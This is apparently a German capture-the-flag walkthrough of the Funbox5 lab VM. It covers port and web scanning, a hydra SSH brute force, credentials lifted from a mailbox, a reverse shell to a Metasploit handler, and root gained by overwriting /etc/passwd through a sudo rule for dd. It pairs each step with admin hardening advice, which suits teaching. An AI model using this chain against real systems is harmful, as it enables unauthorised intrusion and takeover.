192.168.2.157 08:00:27:2a:6d:58 PCS Systemtechnik GmbH
Analyse: `arp-scan -l` identifiziert aktive Hosts im lokalen Netzwerk.
Bewertung: Der Host `192.168.2.157` (VirtualBox VM) wird als Ziel "Funbox5 - Next Level" identifiziert.
Empfehlung (Pentester): Ziel-IP `192.168.2.157` verwenden.
Empfehlung (Admin): Netzwerk-Monitoring.
192.168.2.157 funbox5.vln
Analyse: Lokale `/etc/hosts` wird bearbeitet, um `192.168.2.157` den Namen `funbox5.vln` zuzuordnen.
Bewertung: Erleichtert die Ansprache des Ziels.
Empfehlung (Pentester): Hostnamen `funbox5.vln` verwenden.
Empfehlung (Admin): Lokale Angreifer-Konfiguration.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-31 00:46 CEST Nmap scan report for funbox5.vln (192.168.2.157) Host is up (0.00017s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: [...] 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-title: Apache2 Ubuntu Default Page: It works |_http-server-header: Apache/2.4.18 (Ubuntu) MAC Address: 08:00:27:2A:6D:58 (Oracle VirtualBox virtual NIC) [...] OS details: Linux 3.10 - 4.11, Linux 3.16 - 4.6, Linux 3.2 - 4.9, Linux 4.4 [...] Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.17 ms funbox5.vln (192.168.2.157) [...]
Analyse: Der vollständige Nmap-Scan (`-A` für OS/Version/Skripte/Traceroute) identifiziert zwei offene Ports: * Port 22 (SSH): OpenSSH 7.2p2 (Ubuntu). Veraltet. * Port 80 (HTTP): Apache 2.4.18 (Ubuntu). Veraltet, zeigt Standardseite.
Bewertung: Die Angriffsfläche scheint zunächst auf SSH und HTTP beschränkt zu sein. Beide Dienste laufen auf veralteten Versionen.
Empfehlung (Pentester): Führe detaillierte Web-Enumeration auf Port 80 durch (`nikto`, `gobuster`). Recherchiere Schwachstellen für OpenSSH 7.2p2 und Apache 2.4.18.
Empfehlung (Admin): Aktualisiere dringend SSH und Apache.
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
Analyse: Bestätigt die offenen Ports 22 und 80.
Bewertung: Schnellübersicht.
Empfehlung (Pentester/Admin): Siehe vorheriger Nmap-Scan.
- Nikto v2.5.0 [...] + Target IP: 192.168.2.157 + Target Port: 80 + Start Time: 2023-07-31 00:47:21 (GMT2) [...] + Server: Apache/2.4.18 (Ubuntu) + /: The anti-clickjacking X-Frame-Options header is not present. [...] + /: The X-Content-Type-Options header is not set. [...] + No CGI Directories found [...] + /robots.txt: contains 1 entry which should be manually viewed. [...] + Apache/2.4.18 appears to be outdated [...]. + /: Server may leak inodes via ETags [...] + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS . + /icons/README: Apache default file found. [...] [...] + End Time: 2023-07-31 00:47:32 (GMT2) (11 seconds) [...]
Analyse: `nikto` scannt Port 80 und findet: * Veralteten Apache 2.4.18. * Fehlende Sicherheitsheader. * Eine `robots.txt`-Datei. * Mögliches Inode-Leak. * Standard-Datei `/icons/README`. **Datum extrahiert:** 2023-07-31.
Bewertung: Bestätigt den veralteten Webserver. Der wichtigste Hinweis ist die `robots.txt`.
Empfehlung (Pentester): Untersuche `robots.txt`. Führe `gobuster`/`dirb` durch.
Empfehlung (Admin): Aktualisiere Apache. Implementiere Sicherheitsheader. Entferne Standarddateien.
[...] http://funbox5.vln/index.html (Status: 200) [Size: 11321] http://funbox5.vln/robots.txt (Status: 200) [Size: 16] http://funbox5.vln/drupal (Status: 301) [Size: 311] [--> http://funbox5.vln/drupal/] http://funbox5.vln/bug_report.txt (Status: 200) [Size: 136] [...]
Analyse: `gobuster` findet `index.html`, `robots.txt`, ein Verzeichnis `/drupal` (leitet weiter) und eine Datei `bug_report.txt`.
Bewertung: Die Entdeckung von `/drupal` und `bug_report.txt` sind die wichtigsten Funde. Drupal ist ein bekanntes CMS und oft Ziel von Angriffen.
Empfehlung (Pentester): Untersuche `robots.txt`, `bug_report.txt` und das `/drupal`-Verzeichnis (insbesondere mit Drupal-spezifischen Scannern wie `droopescan` oder `wpscan` mit `--force` Option, falls es fälschlicherweise als WordPress erkannt wird).
Empfehlung (Admin): Stelle sicher, dass Drupal aktuell und sicher konfiguriert ist. Entferne unnötige Dateien wie `bug_report.txt`.
# Inhalt von http://funbox5.vln/robots.txt Allow: Thinking # Inhalt von http://funbox5.vln/bug_report.txt No bugs here !!! Really !!! http://192.168.178.33/drupal/
Analyse: * `robots.txt`: Enthält nur eine unklare Zeile "Allow: Thinking". * `bug_report.txt`: Enthält eine Nachricht und eine interne IP-Adresse (`192.168.178.33`), die auf `/drupal/` verweist.
Bewertung: `robots.txt` ist nicht hilfreich. `bug_report.txt` bestätigt das `/drupal`-Verzeichnis und leakt eine (wahrscheinlich interne/irrelevante) IP-Adresse.
Empfehlung (Pentester): Konzentriere dich auf das `/drupal`-Verzeichnis.
Empfehlung (Admin): Entferne `bug_report.txt`. Vermeide das Leaken interner IPs.
[...] + http://funbox5.vln/robots.txt (CODE:200|SIZE:16) [...]
Analyse: `dirb` mit Filterung auf `.php` und `.txt` findet nur die bereits bekannte `robots.txt`.
Bewertung: Keine neuen Erkenntnisse. Bestätigt, dass auf der Root-Ebene keine einfachen PHP- oder Textdateien liegen.
Empfehlung (Pentester): Fokus auf `/drupal`.
Empfehlung (Admin): Keine neuen Empfehlungen.
* Trying 192.168.2.157:80... * Connected to funbox5.vln (192.168.2.157) port 80 (#0) > HEAD /drupal HTTP/1.1 [...] < HTTP/1.1 301 Moved Permanently [...] < Location: http://funbox5.vln/drupal/ [...]
Analyse: `curl -Iv` sendet eine HEAD-Anfrage an `/drupal` und zeigt die Header der Antwort an.
Bewertung: Bestätigt die 301-Weiterleitung von `/drupal` nach `/drupal/`.
Empfehlung (Pentester): Scanne `http://funbox5.vln/drupal/`.
Empfehlung (Admin): Standardverhalten bei Verzeichnissen.
[...] [+] URL: http://funbox5.vln/drupal/index.php/ [192.168.2.157] [...] Interesting Finding(s): [+] Headers | Interesting Entry: Server: Apache/2.4.18 (Ubuntu) [...] [+] Upload directory has listing enabled: http://funbox5.vln/drupal/wp-content/uploads/ [...] [+] WordPress version 5.5.1 identified (Insecure, released on 2020-09-01). [...] [i] The main theme could not be detected. [i] No plugins Found. [+] Enumerating Users (via Passive and Aggressive Methods) [...] [i] User(s) Identified: [+] admin | Found By: Wp Json Api (Aggressive Detection) [...] [+] ben | Found By: Wp Json Api (Aggressive Detection) [...] [!] No WPScan API Token given [...] [+] Finished: Mon Jul 31 01:14:31 2023 [...]
Analyse: `wpscan` wird (etwas ungewöhnlich mit expliziten Pfaden zu `index.php` und `wp-content`) gegen das `/drupal`-Verzeichnis ausgeführt. Es identifiziert: * Eine verwundbare WordPress-Version 5.5.1. * Ein öffentlich listbares Upload-Verzeichnis (`/drupal/wp-content/uploads/`). * Die Benutzer `admin` und `ben`.
Bewertung: Obwohl das Verzeichnis `/drupal` heißt, läuft dort offenbar WordPress. Die veraltete Version 5.5.1 ist ein kritisches Sicherheitsrisiko. Die Benutzer `admin` und `ben` sind potenzielle Login-Ziele.
Empfehlung (Pentester):
1. Recherchiere bekannte Schwachstellen für WordPress 5.5.1 (es gibt kritische).
2. Versuche einen Brute-Force-Angriff gegen die Benutzer `admin` und `ben` über SSH oder das WordPress-Login (`/drupal/wp-login.php`).
Empfehlung (Admin):
1. **Dringend:** Aktualisiere WordPress auf die neueste Version.
2. Deaktiviere Directory Listing für das Uploads-Verzeichnis.
3. Verwende starke Passwörter und schütze das Login.
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak [...]
[...]
[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344420 login tries (l:1/p:14344420), ~224132 tries per task
[DATA] attacking ssh://192.168.2.157:22/
--------------------------------------------------------------------------------
[22][ssh] host: 192.168.2.157 login: ben password: pookie
--------------------------------------------------------------------------------
1 of 1 target successfully completed, 1 valid password found
[...]
Hydra [...] finished at 2023-07-31 01:13:53
Analyse: `hydra` wird verwendet, um das SSH-Passwort für den von `wpscan` gefundenen Benutzer `ben` zu brute-forcen. Die Wortliste `rockyou.txt` wird verwendet.
Bewertung: Hydra findet erfolgreich das Passwort `pookie` für den Benutzer `ben`.
Empfehlung (Pentester): Nutze die gefundenen Credentials (`ben`:`pookie`), um dich per SSH anzumelden.
Empfehlung (Admin): Erzwinge starke, nicht im Wörterbuch enthaltene Passwörter. Implementiere Schutzmaßnahmen gegen Brute-Force-Angriffe.
The authenticity of host '192.168.2.157 (192.168.2.157)' can't be established.
[...]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
[...]
ben@192.168.2.157's password: pookie
Welcome to Ubuntu 16.04.7 LTS (GNU/Linux 4.4.0-189-generic x86_64)
[...]
You have mail.
Last login: Tue Sep 1 22:14:28 2020 from 192.168.178.143
ben@funbox5$
Analyse: Die SSH-Verbindung wird als Benutzer `ben` mit dem Passwort `pookie` hergestellt. Der Login ist erfolgreich.
Bewertung: Der initiale Zugriff als Benutzer `ben` wurde erreicht.
Empfehlung (Pentester): Beginne mit der Post-Exploitation und Privilege-Escalation-Enumeration.
Empfehlung (Admin): Ändere das kompromittierte Passwort.
28766 84 -rwsr-xr-x 1 root root 84120 Apr 9 2019 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic [...] 31179 112 -rwsr-xr-x 1 root root 110792 Jul 10 2020 /usr/lib/snapd/snap-confine [...] 2946 136 -rwsr-xr-x 1 root root 136808 Jan 31 2020 /usr/bin/sudo [...] 31036 24 -rwsr-xr-x 1 root root 23376 Mar 27 2019 /usr/bin/pkexec [...] 858 40 -rwsr-xr-x 1 root root 40152 Jan 27 2020 /bin/mount [...]
Analyse: Die Suche nach SUID-Dateien wird als `ben` ausgeführt. Findet Standard-Binaries, darunter `/usr/bin/sudo` und `/usr/bin/pkexec`.
Bewertung: `sudo` und `pkexec` sind potenzielle Vektoren.
Empfehlung (Pentester): Prüfe `sudo -l`. Prüfe Kernel-Version und `pkexec` auf bekannte Schwachstellen.
Empfehlung (Admin): Halte System gepatcht, überprüfe SUID-Berechtigungen.
uid=1001(ben) gid=1001(ben) groups=1001(ben),8(mail)
/usr/bin/mtr = cap_net_raw+ep /usr/bin/systemd-detect-virt = cap_dac_override,cap_sys_ptrace+ep /usr/bin/traceroute6.iputils = cap_net_raw+ep
Linux funbox5 4.4.0-189-generic #219-Ubuntu SMP Tue Aug 11 12:26:50 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Analyse: * `id`: Bestätigt Benutzer `ben` und Mitgliedschaft in Gruppe `mail`. * `getcap`: Findet keine ungewöhnlichen Capabilities. * `uname -a`: Zeigt die Kernel-Version 4.4.0-189.
Bewertung: Die Gruppenmitgliedschaft `mail` könnte relevant sein, falls Mail-bezogene Prozesse oder Dateien ausgenutzt werden können. Die Kernel-Version 4.4.0 ist relativ alt und könnte anfällig sein, aber PwnKit (CVE-2021-4034) betrifft eher `policykit-1` als den Kernel direkt.
Empfehlung (Pentester): Konzentriere dich auf `pkexec` (PwnKit) als wahrscheinlichsten Vektor. Prüfe die Mail-Spool-Verzeichnisse (`/var/mail`).
Empfehlung (Admin): Halte Kernel und Pakete aktuell.
State Recv-Q Send-Q Local Address:Port Peer Address:Port LISTEN 0 128 *:22 *:* LISTEN 0 10 127.0.0.1:25 *:* LISTEN 0 80 127.0.0.1:3306 *:* LISTEN 0 10 127.0.0.1:587 *:* LISTEN 0 100 *:110 *:* LISTEN 0 100 *:143 *:* LISTEN 0 128 :::22 :::* LISTEN 0 100 :::110 :::* LISTEN 0 100 :::143 :::* LISTEN 0 128 :::80 :::* [...]
Analyse: `ss -altpn` zeigt lauschende TCP-Ports.
Bewertung: Bestätigt die von Nmap gefundenen Ports (22, 80, 110, 143) und zeigt zusätzliche localhost-Listener für SMTP (25, 587) und MySQL (3306).
Empfehlung (Pentester): Der MySQL-Dienst auf localhost könnte interessant sein, wenn Zugangsdaten (z.B. aus der `#wp-config.php#`, die Nikto fand, aber im Log nicht heruntergeladen wurde) bekannt wären.
Empfehlung (Admin): Beschränke den Zugriff auf localhost-Dienste.
Trying ::1... Trying 127.0.0.1... Connected to localhost. Escape character is '^]'. +OK Dovecot ready.
+OK
+OK Logged in.
+OK 3 messages: 1 403 2 391 3 578
[...] Hi Ben, are you going to Jonas' party on Saturday?
[...] Hey Ben, did you do all the updates?
[...]
Hi Ben,
please come to my office at 10:00 a.m. We have a lot to talk about!
The new employees must be created. I've already finished Adam.
adam: qwedsayxc!
Analyse: Eine `telnet`-Verbindung wird zum POP3-Server auf `localhost` aufgebaut. Der Login als `ben` mit dem Passwort `pookie` ist erfolgreich. Die E-Mails werden abgerufen. E-Mail 3 enthält Zugangsdaten für einen neuen Benutzer `adam`: `qwedsayxc!`.
Bewertung: Ein weiterer Satz Zugangsdaten (`adam`:`qwedsayxc!`) wurde durch das Lesen der E-Mails gefunden. Dies könnte ein alternativer Weg oder ein weiterer Schritt (horizontale Bewegung) sein.
Empfehlung (Pentester): Versuche, dich als `adam` per SSH anzumelden. Überprüfe die `sudo`-Rechte für `adam`. Fahre parallel mit dem PwnKit-Versuch für `ben` fort.
Empfehlung (Admin): Sende niemals Passwörter per E-Mail. Überprüfe Mailboxen auf sensible Informationen.
adam ben maria
Password: qwedsayxc!
uid=1002(adam) gid=1002(adam) groups=1002(adam)
[sudo] password for adam: qwedsayxc!
Matching Defaults entries for adam on funbox5:
env_reset
User adam may run the following commands on funbox5:
(root) PASSWD: /bin/dd
(root) PASSWD: /bin/de
(root) PASSWD: /bin/df
Analyse: 1. Die Existenz des Benutzers `adam` wird bestätigt. 2. Mit `su adam` und dem Passwort `qwedsayxc!` wird erfolgreich zum Benutzer `adam` gewechselt. 3. `sudo -l` als `adam` zeigt, dass dieser Benutzer `/bin/dd`, `/bin/de` (wahrscheinlich Tippfehler für `dd`?) und `/bin/df` als `root` mit Passwort (`PASSWD:`) ausführen darf.
Bewertung: Ein horizontaler Wechsel zu `adam` war erfolgreich. Die `sudo`-Rechte für `dd` sind ein klarer Weg zur Privilege Escalation, da `dd` zum Lesen und Schreiben beliebiger Dateien/Geräte verwendet werden kann, auch `/etc/passwd` oder `/etc/shadow`.
Empfehlung (Pentester): Nutze die `sudo`-Rechte für `dd`, um `/etc/shadow` zu lesen (um den Root-Hash zu erhalten) oder um `/etc/passwd` zu überschreiben und einen neuen Root-Benutzer mit bekanntem Passwort hinzuzufügen. Der PwnKit-Exploit als `ben` wäre zwar auch möglich, aber dieser Weg über `adam` und `sudo dd` ist ebenfalls direkt.
Empfehlung (Admin): **Kritisch!** Die Berechtigung, `dd` als Root auszuführen, ist extrem gefährlich und sollte niemals normalen Benutzern gewährt werden. Entferne diese `sudoers`-Regel dringend.
Analyse: Die Privilege Escalation erfolgt durch Missbrauch der `sudo`-Regel, die dem Benutzer `adam` erlaubt, `/bin/dd` als `root` auszuführen. Mit `dd` kann jede Datei überschrieben werden, einschließlich der kritischen Datei `/etc/passwd`.
Bewertung: Die unsichere `sudo`-Regel für `dd` ermöglicht das direkte Überschreiben der Passwortdatei und somit die Erlangung von Root-Rechten. Dies ist eine schwerwiegende Fehlkonfiguration.
Empfehlung (Pentester): Die Nutzung von `sudo dd` zum Lesen von `/etc/shadow` wäre eine weniger intrusive Alternative gewesen, um den Root-Passwort-Hash zu erhalten und offline zu knacken.
Empfehlung (Admin): Gewähre niemals `sudo`-Rechte für Befehle wie `dd`, `cp`, `mv`, `chown`, `chmod`, Editoren (`vi`, `nano`) etc., die zum Manipulieren kritischer Systemdateien missbraucht werden können, es sei denn, es ist absolut unvermeidlich und stark eingeschränkt.
[sudo] password for adam: qwedsayxc!
3+1 records in
3+1 records out
2020 bytes (2.0 kB, 2.0 KiB) copied, 0.000325761 s, 6.2 MB/s
Analyse: Als `adam` wird `sudo dd` verwendet, um `/etc/passwd` in eine lokale Datei `passwd` zu kopieren (wahrscheinlich zur Vorbereitung der Modifikation). Anschließend wird eine Reverse Shell gestartet.
Bewertung: Bestätigt, dass `sudo dd` funktioniert. Die Reverse Shell ist für den `dd`-Exploit nicht zwingend, wird aber im Log verwendet.
Empfehlung (Pentester): Modifiziere die kopierte `passwd`-Datei (oder erstelle eine neue) mit einem Root-Benutzer-Eintrag und bekanntem Passwort.
Empfehlung (Admin): Entferne die `sudo`-Regel für `dd`.
lhost => 192.168.2.199
lport => 4444
[*] Started reverse TCP handler on 192.168.2.199:4444 [*] Command shell session 1 opened (192.168.2.199:4444 -> 192.168.2.157:38652) at 2023-07-31 01:58:04 +0200 adam@funbox5$
[sudo] password for adam: qwedsayxc!
[...] (passwd Inhalt) [...]
[sudo] password for adam: qwedsayxc!
[...] (shadow Inhalt) [...]
Analyse: Die Reverse Shell von `adam` wird in Metasploit (Session 1) empfangen. Über diese Shell wird `sudo dd` verwendet, um den Inhalt von `/etc/passwd` und `/etc/shadow` auszulesen.
Bewertung: Bestätigt die Fähigkeit, beliebige Dateien als Root zu lesen. Der Root-Passwort-Hash ist nun bekannt (`root:$6$NsLN4bI3$...`).
Empfehlung (Pentester): Anstatt `/etc/passwd` zu überschreiben, könnte man jetzt versuchen, den Root-Hash offline zu knacken. Da das Log jedoch den Überschreib-Weg zeigt, folgen wir diesem.
Empfehlung (Admin): Entferne die `sudo`-Regel.
Passwort: bauer
$6$4CdmLiryny.8VoG$0TFCVCfnWBwNo5EfCCPsNnXdfl2xkNuapWiAE6IKDjPEJmDH42hYnY7ZG8AXUVHwYHGhtN/RIU48FaFiM.
# Annahme: scp passwd_mod adam@192.168.2.157:/tmp/passwd
[sudo] password for adam: qwedsayxc!
4+1 records in
4+1 records out
2157 bytes (2.2 kB, 2.1 KiB) copied, 0.000341561 s, 6.3 MB/s
Password: bauer
uid=0(root) gid=0(root) groups=0(root)
Analyse: 1. Auf dem Angreifer-System wird mit `mkpasswd` ein SHA512-Hash für das Passwort `bauer` generiert. 2. Eine modifizierte Passwort-Datei (`passwd_mod`) wird erstellt, die einen neuen Benutzer `fuck` mit UID 0, GID 0 und dem generierten Hash enthält. 3. (Impliziert) Diese Datei wird auf das Zielsystem nach `/tmp/passwd` übertragen. 4. Als `adam` wird `sudo dd` verwendet, um `/etc/passwd` mit der modifizierten Datei aus `/tmp` zu überschreiben. Adam's Passwort (`qwedsayxc!`) wird für `sudo` benötigt. 5. Mit `su fuck` und dem Passwort `bauer` wird erfolgreich Root-Zugriff erlangt.
Bewertung: Die Privilege Escalation durch Überschreiben von `/etc/passwd` mittels `sudo dd` war erfolgreich.
Empfehlung (Pentester): Suche die Root-Flag.
Empfehlung (Admin): Entferne die `sudo dd`-Regel. Überwache Änderungen an `/etc/passwd`.
_______ _ ______ _ _ (_______) | | | ___ \ _ | | | | _____ _ _ ____ | | _ ___ _ _ _ | | | | ____ _ _| |_ | | ____ _ _ ____| | | ___) | | | _ \| || \ / _ ( \ / |_) | | | |/ _ | \ / ) _) | | / _ ) | | / _ ) | | | | |_| | | | | |_) ) |_| ) X ( _ | | | ( (/ / ) X (| |__ | |____( (/ / \ V ( (/ /| | |_| \____|_| |_|____/ \___(_/ \_|_) |_| |_|\____|_/ \_)\___) |_______)____) \_/ \____)_| Made with Love by @0815R2d2 Please, tweet me a screenshot on Twitter. THX 4 playing this Funbox.
Analyse: Als Root wird die Datei `flag.txt` (vermutlich in `/root`) ausgelesen.
Bewertung: Die Root-Flag (ASCII-Art und Nachricht) wurde gefunden.
Empfehlung (Pentester): Dokumentiere die Flag. Suche die User-Flag (vermutlich `/home/ben/user.txt` oder `/home/adam/user.txt`).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag.